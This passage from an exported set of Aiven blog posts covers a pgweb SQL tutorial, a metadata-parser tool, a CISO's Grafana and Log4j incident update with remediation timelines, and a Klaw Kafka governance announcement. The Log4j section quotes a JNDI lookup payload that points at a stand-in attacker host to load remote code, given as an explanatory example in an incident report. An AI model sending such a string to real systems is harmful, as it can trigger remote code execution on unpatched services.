PostgreSQL](https://aiven.io/postgresql), the connection information can be found under the **Overview** tab. \n\n![Aiven for Postgres connection page](//cdn.sanity.io/images/sczeoy4w/production/dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422.png)\n\n\u003e **Note** This blog uses PostgreSQL version 14.4.\n\nOnce the pgweb server has started, navigate to `http://localhost:8081` to interact with the tool.\n\n#### Load sample data\n\nPagila is a PostgreSQL port of the [Sakila Sample Database](https://dev.mysql.com/doc/sakila/en/). Load Pagila to your PostgreSQL database by following [this guide](https://aiven.io/docs/products/postgresql/howto/pagila.html). \n\nLet's put pgweb to the test. While you're connected to the Pagila database, click on the **Query** tab on pgweb and run the following query:\n\n```sql\nselect\n    customer.first_name,\n    customer.last_name,\n    count(customer.first_name) rentals_count\nfrom\n    customer\nleft join rental on\n    customer.customer_id = rental.customer_id\ngroup by\n    customer.first_name,\n    customer.last_name\norder by rentals_count desc;\n```\n\nWho do you see as the person with the most rented DVDs? If it's ELEANOR HUNT, you've loaded the database correctly.\n\n### Solve DVD mystery using pgweb\n\n#### Customers are not returning DVDs\n\nYour initial task is to investigate why some customers are not returning DVDs. You quickly find out that some customers do not know the return date of their rentals.\n\nYou can see this by clicking on the **Query** tab and running the following query:\n\n```sql\nselect\n    rental.rental_id, rental.customer_id, rental.rental_date, customer.email\n    FROM rental\n    left join customer on\n    customer.customer_id = rental.customer_id\n    WHERE return_date IS NULL;\n```\n\nAll of these customers have a **NULL** value as their `rental.return_date`. We can use pgweb to export the list and details of customers as JSON, CSV, or XML. Let’s send this information to the IT department so that they can email these customers to return their rentals.\n\n![Query for customers with no rental return date](//cdn.sanity.io/images/sczeoy4w/production/479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430.png)\n\nLet's create a **view** so that management can monitor Crab Rental's business performance without having to worry about the technical details of writing and running SQL queries. In SQL, a view is a virtual table based on the result-set of an SQL statement. To create a view, we run the same SQL statement after prepending a `CREATE VIEW...`:\n\n```sql\nCREATE VIEW customers_no_return_rental_date AS\nselect\n    rental.rental_id, rental.customer_id, rental.rental_date, customer.email\n    FROM rental\n    left join customer on\n    customer.customer_id = rental.customer_id\n    WHERE return_date IS NULL;\n```\n\nTo see this *view* ourselves, let’s log on to the pgweb dashboard, expand the **Views** dropdown, and click on **customers\\_no\\_return\\_rental\\_date** to see the same information; without writing any SQL.\n\n![View of customers with no rental return date](//cdn.sanity.io/images/sczeoy4w/production/b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414.png)\n\nOur first mystery is solved, and Crab Rental has a new source of revenue in the form of late fees!\n\n#### Film inventory reflecting demand (or not)\n\nWith our newly-gained confidence, let's dive into solving the second mystery. For this task, let's make use of two views: one for categories of movies making the most sales (indicating demand) and the other for inventory count based on categories. The first view, **sales\\_by\\_film\\_category**, already exists in the sample database. Execute the following SQL statement in the **Query** tab to generate **inventory\\_by\\_film\\_category** view:\n\n```sql\nCREATE VIEW inventory_by_film_category AS\nselect\n    category.name,\n    count(category.name) inventory_count\nfrom\n    category\nleft join film_category on\n    category.category_id = film_category.category_id\nleft join inventory on\n    film_category.film_id = inventory.film_id\ngroup by\n    category.name\norder by\n    inventory_count desc;\n```\n\nNow management can check sales by film category, and inventory count by film category, by clicking on the views:\n\n![Sales by film category](//cdn.sanity.io/images/sczeoy4w/production/eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990.png)\n\n![Inventory by film category](//cdn.sanity.io/images/sczeoy4w/production/0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936.png)\n\nBased on the above information, let’s make a recommendation to the management to order more drama and comedy movies. Because these views can be monitored at any time without any technical expertise, the Crab Rental management can rebalance their inventory without requiring a data analyst. \n\n#### Audit the access to the Crab Rental database\n\nCrab Rental has hired an external company to perform a security audit across the data platform. Crab Rental uses a PostgreSQL database, and a number of employees have access to the database credentials. Let’s make sure that our PostgreSQL database is in order and there’s no unneccessary access. PostreSQL has built-in audit features and pgweb has a convenient way to access these. Let’s check who has been accessing our database using the SQL command history. From the **History** tab, we can see the following sample query list:\n\n![Query history](//cdn.sanity.io/images/sczeoy4w/production/1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140.png)\n\nBased on the timestamp, they can check details on the activity from the **Activity** tab, which shows the username, application/client name, client IP/port, and other details that can be critical when an audit happens.\n\n### Wrap up\n\nThanks to our collective investigation, Crab Rental will survive the collapse of the DVD rental industry for at least a little longer. Although this was a fictitious example, a lot of companies use these techniques to make smart data-driven decisions. Here are three takeaways from this blog:\n\n1. A GUI tool for databases is not a replacement, but rather a complement to the command-line tools.\n2. A GUI tool can increase productivity, help reduce the learning curve, and offer other features like full text search, performance tuning, etc.\n3. Pgweb is just one of the options when it comes to GUI tools for databases. You can choose the tool that makes sense for your use case.\n\nIf you're looking for a fully managed and hosted PostgreSQL, check out [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [reach out](https://twitter.com/aiven_io) if you have any questions.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-08T00:00:00.000Z","seo":{"metaDescription":"Working with command line tools and SQL can be intimidating. Read on to learn how to use the pgweb GUI to provide useful views of PostgreSQL® data.","metaImage":{"alt":"","asset":{"_ref":"image-92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844-png","_type":"reference"}},"metaTitle":"Solve a DVD rental mystery with pgweb"},"slug":{"_type":"slug","current":"/blog/pgweb-dvd-mystery"},"subtitle":"Working with command line tools and SQL can be intimidating. Read on to learn how to use the pgweb GUI to provide useful views of PostgreSQL® data.","title":"Solve a DVD rental mystery with pgweb"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T19:40:01Z","_id":"5732c936-197d-49f4-b8f2-410e4dfcbd44","_rev":"lhvtNBOlLYH5KiQFQ8YWvR","_type":"post","_updatedAt":"2024-01-29T15:40:53Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Keep your data assets under control with Aiven's metadata parser\n\nData's journey in modern companies is usually long, with several steps across different technologies. From source applications storing it in backend databases, passing by batch or streaming technologies for transformation and distribution, data assets arrive at the target systems where they are used in the decision-making process or fed back to the application in reverse ETL (Extract Transform and Load) scenarios. \n\nKeeping track of every step in this fragmented scenario is a tedious process, usually performed manually as part of the documentation effort. But with many fast-moving parts, losing the global view is very easy. When this happens, implications for companies can include duplicated efforts, GDPR violations, and security issues.\n\nThe reply to questions like \"Who can see this column/table/object\" should come from a query in seconds/minutes rather than from a human trying to browse 200+ pages of documentation. Therefore we need to automate the collection of data assets' journeys in a common queryable format as much as possible.\n\n### The hidden gold of metadata\n\nHow can we automatically extract information about the data? A lot of this information is actually in the metadata! \n\nIf we take PostgreSQL® as an example, we can get a long way by scanning the tables in the `information_schema`. Querying the `columns`, `pg_tables`, `pg_user`, and `role_table_grants` provides us an overview of which users can see which columns in which tables. Adding a smart parsing of the `description` field in `pg_views` also allows us to take one step further and track data transformations happening within the database itself.\n\nSimilar discussion can be made for intermediate technologies like Apache Kafka®, where the metadata stored in topic descriptions, ACLs, schema definitions, and connector configurations allows us to create a map of where the data is coming from and where it is going. Or Apache Flink® where we can understand the source and target of each data pipeline.\n\n#### Different technologies, different languages\n\nIf all the data journey stays in a single technology, then the problem is solved! A bit of metadata parsing on the single catalog views/tables, and we have the end-to-end map. But, as discussed above, this is usually not the case. Even more, different technologies will have different objects and attributes defining a data assets: for PostgreSQL, we might talk about tables and columns, while for Apache Kafka, it's topics, schemas and connectors, and in OpenSearch® is namespaces and indexes. \n\n### A common abstraction: graph theory\n\nTherefore, if we want to collect, merge, and make available metadata having different shapes, we need to take one step back and abstract our definition of data assets. This is where graph theory becomes handy, allowing us to define each object as a node, and each connection amongst objects as an edge. \n\n* a database? It's a node\n* a table? It's a node + an edge to the database it belongs to\n* a column? It's a node + an edge to the table it belongs to\n* a user? It's a node + an edge to the database it belongs to + an edge to every node it can query/view/edit\n* an Apache Kafka source connector? It's a node + an edge for every source of data + an edge for every destination topic \n\nStoring our assets as nodes/edges allows us to add custom attributes to each entity, using the object properties like the retention time for a topic or the SQL definition for a database view. Even more, it allows us to connect the dots between different technologies! We can, as an example, link the PostgreSQL tables where an Apache Flink® job gets its data from, with the Apache Kafka topic where it lands the transformed assets. If we are diligent and work with Avro and the [Karapace schema registry](https://aiven.io/docs/products/kafka/howto/enable-karapace.html), we might also be able to connect the source to target columns for a complete data lineage.\n\n![Example of a graph storing information about a PostgreSQL database with some tables and columns, a Kafka Connect connector, Apache Kafka and Flink](//cdn.sanity.io/images/sczeoy4w/production/a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568.jpg)\n\n### Sounds difficult, how to do it? Welcome to the metadata parser\n\nParsing several different technologies and extracting the metadata as node/edges is indeed not a trivial task, requiring you to write a bunch of code to call REST API endpoints, query database tables, or send HTTP requests and merge the output together. However, if you're using Aiven services, we have a nice present for you: the [metadata parser](https://github.com/aiven/metadata-parser), an open-source project built on top of the [Aiven's client](https://github.com/aiven/aiven-client), which allows you to parse the services belonging to an Aiven project and create a network map of the data assets.\n\n#### Get the metadata-parser to work\n\nTo run the metadata parser on top of your project, you need the following prerequisites:\n\n* Python 3.7+\n* a valid Aiven account\n* the name of the project that you want to parse\n\nOnce collected the above, you can follow these steps:\n\n1. Clone the metadata parser repository and navigate in the `metadata-parser` folder.\n\n   ```\n   git clone https://github.com/aiven/metadata-parser.git\n   cd metadata-parser\n   ```\n\n2. Install the required libraries.\n\n   ```\n   pip install -r requirements.txt\n   ```\n\n3. In the `conf` folder, copy the `conf.env.sample` file to `conf.env`. Add the `TOKEN` and `PROJECT` parameters with a [valid authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html) and the name of the project to parse.\n\n4. If the project doesn't have any running services, you can use the `scripts/create_services.sh \u003cPROJECT_NAME\u003e` script to create some temporary services for testing (it requires additional tools like `ksql`, `psql` and `mysql` to create data assets correctly).\n\nRun the `main.py` file to collect metadata from the project.\n\n```\npython main.py\n```\n\nThe above command will parse the project and create:\n\n* A file `nx.html` containing the complete interactive graph.\n\n  ![Graph in action](//cdn.sanity.io/images/sczeoy4w/production/10a1b01648e47cda0d90883379ce131f954d1954-794x749.jpg)\n\n* A file `graph_data.dot` containing the information in [DOT format](https://graphviz.org/doc/info/lang.html).\n* A file `graph_data.gml` containing the information in [GML format](https://en.wikipedia.org/wiki/Geography_Markup_Language).\n\nIf you want to have an interactive view that allows you to filter on a single node and check all dependencies, you can run:\n\n```\npython app.py\n```\n\n`app.py` reads the `graph_data.gml` file generated in the previous step and creates a Reactive Web Application with [Plotly](https://plot.ly/python/) and [Dash](https://plot.ly/dash/), allowing you to analyze the graph and filter for particular node types or names. The filtering will then show the subgraph connected to the node(s) you're filtering by. You can reach the Dash app at `http://127.0.0.1:8050/`.\n\n![Dash application in action allowing custom filtering of nodes](//cdn.sanity.io/images/sczeoy4w/production/e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880.gif)\n\nCongrats! You now have the full map of your data assets, spanning different technologies, as a queryable graph!\n\nJust remember, if you want to remove the test services created in step 4, run `scripts/delete_services.sh \u003cPROJECT_NAME\u003e`.\n\n### Wow, can I use it?\n\nNow, think about your questions:\n\n* Data lineage - Where is this column coming from?\n* GDPR assessments - Who can see this piece of data? How is my data manipulated?\n* Security audits - What user can edit this dataset?\n* Impact assessments - What happens if I remove X?\n\nYou can now answer these with the graph produced by the metadata parse and some network queries. \n\nWe would love people to start using the project, and even more: the metadata parser is a fully open-source project, so we welcome contributions! The project is at the initial stage, therefore we could cover more tools, dig more in-depth into the existing ones, or create alternative ways of parsing and displaying the results.\n\nSome links that you might find helpful:\n\n* [Graph theory](https://en.wikipedia.org/wiki/Graph_theory): to understand how different entities are mapped as nodes, attributes, and edges.\n* [Aiven Command Line Interface](https://github.com/aiven/aiven-client): the Aiven CLI, written in Python, is used to explore services and retrieve metadata; review the methods used to parse the Aiven project.\n* [Aiven API documentation](https://api.aiven.io/doc/): to review the list of APIs used by the Aiven Command Line Interface.\n* [Metadata parser contributing guidelines](https://github.com/aiven/metadata-parser/blob/main/CONTRIBUTING.md): to understand how you can contribute to the project.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-04T00:00:00.000Z","seo":{"metaDescription":"As the number of data assets and related technologies grows, figuring out how they relate gets harder. Find out about a new tool that can give useful insights.","metaImage":{"alt":"","asset":{"_ref":"image-9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844-png","_type":"reference"}},"metaTitle":"Use Aiven's metadata parser to understand how your data flows"},"slug":{"_type":"slug","current":"/blog/metadata-parser"},"subtitle":"As the number of data assets and related technologies grows, figuring out how they relate gets harder. Find out about a new tool that can give useful insights.","title":"Use Aiven's metadata parser to understand how your data flows"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"11X1jinOSlkROrjtJ5UT0k","_rev":"5y7swPKAcYPWMoG0mxzQNL","_type":"post","_updatedAt":"2024-08-09T10:10:01Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"Dear all,\n\nWe’ve been working through a couple of security issues this month already here at Aiven and like many security teams, we’re feeling a little run down and thought you could all use an update on what we’ve been doing about these issues. \n\nBoth of these issues represent some of the most interesting but also most painful kinds of security problems that we’ve seen before and will see again. James M. Barrie may have said it best in the quote from the opening narration of the Disney Peter Pan film - “all of this has happened before and it will all happen again”. \n\nThe Grafana issue is another case of OWASP Top Ten... input validation. We haven’t seen the end of this variety of issue; turns out that validating input is actually difficult. The log4j issue is one that is even more common - “at the time the functionality was added everyone agreed it was a good idea and no one thought about some kind of a negative interaction with other functionality in a complex code base” combined with the same kind of input validation problem that we saw with Grafana in the same week. \n\nA key message from all security people to all developers should be: “We know that you’re doing difficult things under pressure and you’re going to make mistakes and we’ll work together to make it better”. However, I’m seeing a whole lot of security people pointing fingers at their developer colleagues and making a lot of really negative comments. These problems will happen over and over again. We should be prepared for them and work together to create the best possible outcomes.\n\nLife at Aiven teaches you pretty quickly that Open Source is awesome because of the infinite flexibility of minds working together. It’s also awesome because we’re working together to make a better future for everyone.\n\nThanks. \n\nJamie, Aiven’s CISO \n## Grafana 0day path traversal\n\n- [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43798)\n- [Grafana Advisory](https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p) \n- [Grafana Blog Post](https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/) \n\nGrafana is a popular open source tool for visualizing information. At Aiven, we are happy to offer Aiven for Grafana as one of our open source services, but more importantly, we are also heavy users of Grafana ourselves. We now understand from Grafana’s blog entry that this issue started as a coordinated release event by Grafana and subsequently became publicly available prior to the Grafana team being able to provide the coordination - a 0day.\n\nThe issue was identified to the Grafana team on 2021-12-03 02:51 UTC, and they anticipated a public release of the fix by 2021-12-14. Aiven was alerted through a [report to our bug bounty](https://hackerone.com/reports/1415820) program at 2021-12-02 20:56 UTC by the same reporter, and we were already working on developing a fix over the course of the weekend.\n\nWe received several bug bounty reports for the same path traversal vulnerability between 2021-12-05 and 2021-12-06 which were marked as duplicates. This indicates that the issue was well known and beginning to circulate among the researcher community.\n\nOur monitoring noted an increase of blind path traversal requests trying to probe for the vulnerability starting on 2021-12-06 but really coming on 2021-12-07.\n\nWe developed a fix internally that was ready at just about the time that the probe requests started to increase dramatically. The technical operations team declared an incident in order to mitigate any potentially outstanding issues, and the fix was implemented on an accelerated basis. \n\nThe vast majority of nodes were patched within a 75 minute window. A few services which were running in the [degraded aws-us-east-1 region](https://aws.amazon.com/message/12721/) remained active and carefully monitored for an additional 3 hours while AWS recovered from their incident.\n\nOnce the bug bounty reporter was able to confirm our fix to their satisfaction, we paid out the bounty for this high severity bug. \n\n__Timeline__\n\n2021-12-02 20:56 UTC\tBug bounty report received from Jordy\n\n2021-12-03 02:51 UTC\t(from Grafana’s blog post - their first notification)\n\n2021-12-05 10:25 UTC\tconfirmation of issue and fix in development\n\n2021-12-07 06:04 UTC\tcompleted development of the fix\n\n2021-12-07 13:36 UTC\ttesting completed\n\n2021-12-07 13:49 UTC\tIncident declared \n\n2021-12-07 13:58 UTC\tchange merged into production branch\n\n2021-12-07 17:15 UTC \tGrafana public Github repository has official fix for the vulnerability\n\n2021-12-07 18:30 UTC \tAiven starts to apply the patch to customer nodes\n\n2021-12-07 19:42 UTC \tAll Grafana for Aiven services have been patched with the Aiven developed fix except a small portion having in aws-us-east-1 region (that is degraded and new instances cannot be launched) \n\n2021-12-07 22:31 UTC \tGrafana for Aiven services in aws-us-east-1 region (that was degraded and new instances could not be launched) have been patched.\n\n2021-12-10 07:46 UTC\tReceived response from Jordy confirming the fix\n\n2021-12-10 16:00 UTC\tPaid the bounty for a High severity finding\n\n## The big one - Log4j / Log4shell\n\n- [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)\n- [Release Notes](https://logging.apache.org/log4j/2.x/security.html)\n\nThis is a significant Remote Code Execution (RCE) vulnerability and it’s in… everything! (No, seriously - it’s even in the [NASA robot helicopter on Mars](https://twitter.com/TheASF/status/1400875147163279374), and it caused the NSA to [update their tooling](https://twitter.com/NSA_CSDirector/status/1469439084091355141)!\n\nThis is an important vulnerability because it’s easy to exploit. If your computer runs any unpatched Java-based application, a simple attack like joining a Minecraft chat and receiving a message like \"${jndi:ldap://badactor.crime/script}\" is enough for potentially malicious code to be loaded and executed. Anything that causes a message to be logged in Java software via log4j, including chat messages that are routinely logged to disk by popular games like Minecraft, makes the system vulnerable, until all of these Java programs update the version of log4j that they use. This is going to be a very long-tail vulnerability due to the number of places that log4j is potentially running in your world.\n\nAiven was alerted to this issue 2021-12-10 00:49 UTC and immediately began to investigate the impact of CVE-2021-44228 on Aiven’s internal services and managed customer resources. By 2021-12-10 14:45 UTC, an incident was declared and immediate work began to mitigate and protect against this issue across all customer services and our own infrastructure. All Aiven services were remediated by 2021-12-11 03:46  UTC - a period of just over 24 hours from awareness to remediation. \n\nOf all of the production services operated by Aiven for our customers, only Aiven for Elasticsearch and Aiven for OpenSearch were impacted. No other production services were affected. \n\nAiven for Apache Flink is a beta service not yet fully in production and was deprioritized for remediation. We made the decision to preemptively shut down all instances (unfortunately losing some data) to await business hours patching. \n\nSpecific details were published to our customers on the [help.aiven.io site](https://help.aiven.io/en/articles/5804226-2021-12-10-log4j2-vulnerability-and-aiven-service) and communicated as needed through support ticketing. \n\nAt the time that this entry was posted, Aiven’s internal security team continues to monitor the situation for new exploits or threats. We’re working through our list of supporting vendors and ensuring that they have all taken appropriate action. \n\nInterestingly, this attack vector was actually discussed during a presentation at Black Hat USA 2016 - “A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land” by Alvaro Muñoz and Oleksandr Mirosh, as noted in [this tweet](https://twitter.com/an0n_r0/status/1469643986403008515). The full impact of that research was not understood until we have the hindsight of this incident to provide context.\n\n__Timeline__\n\n2021-12-10 00:49 UTC\tBegan internal investigation of CVE-2021-44228, its impact on Aiven internal services, and its impact on managed customer resources\n\n2021-12-10 14:45 UTC\tIncident declared\n\n2021-12-10 15:28 UTC\tBegan deep dive assessment of exposure and impact, service-by-service\n\n2021-12-10 17:27 UTC\tBegan service-by-service remediation planning\n\n2021-12-10 18:09 UTC\tBegan execution of remediation plan for Aiven for \nOpenSearch and Aiven for Elasticsearch\n\n2021-12-10 19:07 UTC\tDisabled the creation of new Aiven for Apache Flink (beta) nodes, all vulnerable Aiven for Apache Flink nodes shut down\n\n2021-12-10 19:36 UTC\tAll necessary production system changes completed, began patching affected customer production nodes\n\n2021-12-10 21:27 UTC\tProduction upgrade completed; OpenSearch, Elasticsearch, and Flink production code patched; began restarting internal services\n\n2021-12-11 02:36 UTC\tInternal services successfully patched and restarted; began restarting all affected OS/ES customer services\n\n2021-12-11 03:46 UTC\tES/OS service restart per cluster completed. All internal services and affected customer nodes successfully patched.\n\nThe creation of new services in Flink (beta) is still disabled as of 2021-12-13.\n\n### Updates from 2021-12-20\n\nAiven continues to monitor the evolving situation with the Log4Shell / Log4j vulnerabilities:\n\n- [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)\n- [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)\n- [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105)\n\nOur mitigation for the first and second vulnerabilities is in place across affected systems (Aiven for OpenSearch, Aiven for Elasticsearch, and [beta] Aiven for Apache Flink). The third vulnerability is not exploitable in the context of Aiven services, but we are updating to log4j 2.17 out of an abundance of caution as this set of vulnerabilities continues to expand.\n\nIf you have any questions, please reach out to support@aiven.io.\n\n\n## Further reading\n\n- [Customize and contextualize your data with Grafana® 10](https://aiven.io/blog/customize-and-contextualize-your-data-with-grafana-10)","categories":[{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-20T00:00:00.000Z","seo":{"metaDescription":"0day? How about 0december! Aiven's CISO recaps the recent vulnerabilities and what Aiven did about them.","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Security updates: Grafana and Log4j"},"slug":{"_type":"slug","current":"/blog/security-updates-grafana-and-log4j"},"subtitle":"0day? How about 0december! Aiven's CISO recaps the recent vulnerabilities and what Aiven did about them.","title":"Security updates: Grafana and Log4j"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:53:44Z","_id":"4JR1zZoQLeuUT8AxByqegc","_rev":"msvVOwV0ly404Y5JqDSlSw","_type":"post","_updatedAt":"2024-08-09T10:39:24Z","authors":[{"_key":"3CMp6swW2L6wlHhqp57gWe","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"Running Apache Kafka® in an enterprise setting is no easy feat; governing Apache Kafka in an enterprise setting is a whole other headache. To help make it easier for everyone, Aiven has acquired Kafkawize, which provides a centralized governance layer on top of Apache Kafka, fully open source and freely available for download and use. \n\nThe project is now renamed Klaw. It will remain fully open source and free to use.\n\n### The old ways\nThere are two traditional ways in which enterprises handle tasks related to Apache Kafka configuration: freedom and gatekeeping.\n\n__Freedom and confusion__\nThe infrastructure team freely creates new configurations and connections, based on requirements communicated to them by the service users. This typically involves lots of back-and-forth between teams, ambiguity about ownership and who should be kept in the loop. Changes might not be tracked systematically. The result is an organically-grown jungle gym of connections and elements, where it’s hard to find anything and know what it plugs into.\n\n__Gatekeeping and bottlenecks__\nA single gatekeeper controls what elements and connections are created. They negotiate with the stakeholders and carry the requirements to the infrastructure team, and nothing is deployed before the gatekeeper stamps their approval on it. The result is a slow process that depends on a handful of people (or even a single person!) to function, making it hard to update the configuration.\n\n__Klaw offers instead a process and a web-based data governance toolkit where teams using the service can submit their requests for new Topics, schemas, access authorizations and connectors.__ This democratizes access to the Apache Kafka configuration without sacrificing control over the changes.\n\n![Klaw-dashboard](//cdn.sanity.io/images/sczeoy4w/production/f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132.png)\n\n## What does Klaw do?\nKlaw is a web based data governance toolkit for managing Apache Kafka Topics, ACLs, and schemas.\n\nKlaw provides a self-service user interface where teams of Apache Kafka service users can request changes to the Apache Kafka configuration without the intervention of administrators. The changes you can request via Klaw are:\n\n- Adding and defining roles for Kafka users \n- Creating and promoting Topics from one environment to another\n- Creating and updating schemas\n- Authorizing users to produce to or consume from topics\n- Adding connectors\n\n## The benefits of Klaw\nWhen you make request using Klaw, they __include all the information needed to implement them__, eliminating the communication hassle between teams. \n\nAlso, with these well-structured requests, new Topics have a __consistent configuration__.\n\nWith an __established workflow__, there will always be a second set of eyes on any given request, ensuring that the quality of requests remains high and accountability is maintained.\n\nAs an added bonus, Klaw maintains a __log of all events__ related to configuration changes. It’s easy to check later who requested what and when, and when the change went live.\n\nIn sum, Klaw can be used to implement a centralized governance and audit layer on top of Apache Kafka.\n\n![Klaw-req-menu](//cdn.sanity.io/images/sczeoy4w/production/a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250.png)\n\n## How does Klaw work?\nThe idea is that members of teams who use Apache Kafka can submit requests for changes. Their peers, from whichever team owns the relevant resources, can then approve it. In other words, all data is owned by the team that understands it.\n\n![Klaw-ConnectorRequestForm](//cdn.sanity.io/images/sczeoy4w/production/2d51dd225204ece7cd1502619c923c07ef28529b-1297x880.png)\n\nWhen a request is made, the entire team who can approve it receives an alert. Any team member may approve the request.\n### Teams, roles and users\nYour first step is to set up the teams you want and decide on their responsibilities. Two teams are provided by default: ```infrateam``` and ```stagingteam```. \n\nNext, you bring in users. The users are assigned to a team where they can request changes and approve requests. The easiest way to create users is often to use LDAP or integrate with an existing SSO provider. Only one user is provided by default, and that is the superadmin user.\n\nTo make it easier to manage users and their permissions, you can use roles and assign different permissions to each role. Two roles are provided by default: ```user``` and ```superadmin```. You can create more as required.\n### Environments\nApache Kafka resources are set up into environments inside Klaw. You can manage clusters and environments separately and configure relationships between them to build a deployment pipeline. \n\nFor example, you can specify the following environment hierarchy:\nTesting -\u003e Staging -\u003e Acceptance -\u003e Production\n\nYou can then create a new Topic in your Testing environment, for example, and when the time comes to create it in your staging environment, you can request that the Topic be promoted. This process takes the entire Topic and its configuration in the Testing environment, and copies it over to the Staging environment—saving you the trouble of reiterating the creation process.\n### Synchronization\n\n![Klaw-sync-menu](//cdn.sanity.io/images/sczeoy4w/production/eb8903262754782c512fafd8648aaf7e0128d25d-475x258.png)\n\nOne of the coolest features of Klaw is the ability to synchronize Topics and ACLs between clusters. You can pull them from one cluster and then replicate them in another with a single click. This simplifies Klaw initialization, but also allows users to create a standard configuration for the entire Apache Kafka cluster.\n\n## Klaw and other applications\nKlaw works with __any Apache Kafka flavor__, either pure self-managed Apache Kafka or a managed service such as Aiven for Apache Kafka.\n\nFor user authentication, Klaw works with __Active Directory (AD)__, __SSO (OAuth2)__ and __LDAP__.\n\nBoth __Karapace__, Aiven’s open source schema registry, and __Confluent Schema Registry__ are supported, and users can submit a request for a schema that lives in them.\n\nSupported protocols include __PLAINTEXT__, __SSL__, and __SASL__.\n\nKlaw has its own Cluster API that plugs into the Apache Kafka AdminClient API for managing Apache Kafka resources.\n\n![Klaw architecture](//cdn.sanity.io/images/sczeoy4w/production/173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400.png)\n\n## Klaw and Aiven\nAiven is fully committed to keeping Klaw open source. Like Karapace, it is part of the company’s open source offering and is free for use by anyone. Aiven for Apache Kafka works seamlessly with Klaw, and as such it’s naturally our top recommendation, but not obligatory. \n\nApache Kafka deserves top-notch tooling, and Klaw provides an important link that is often missing in enterprise Apache Kafka environments.\n## Getting started with Klaw\nTo kick off your own Klaw deployment, visit the [Klaw project page](https://klaw-project.io). Just download, read [the docs](https://klaw-project.io/docs), and start empowering your Apache Kafka users!\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)\n\n- [SASL authentication with Aiven Kafka](https://aiven.io/blog/aiven-kafka-now-supports-SASL-authentication)\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"dIABIFlQ2WxdM5KNsxEcc","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688-png","_type":"reference"}},"publishedAt":"2022-09-29T00:00:00.000Z","related":[{"_key":"c324da9d1a8b","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"},{"_key":"ec097271e036","_ref":"6ZcP2aj9aXVAN0Dh2tlga5","_type":"reference"}],"seo":{"metaDescription":"Klaw, an open source data governance toolkit, helps enterprises exercise Apache Kafka® Topic and schema governance. Find 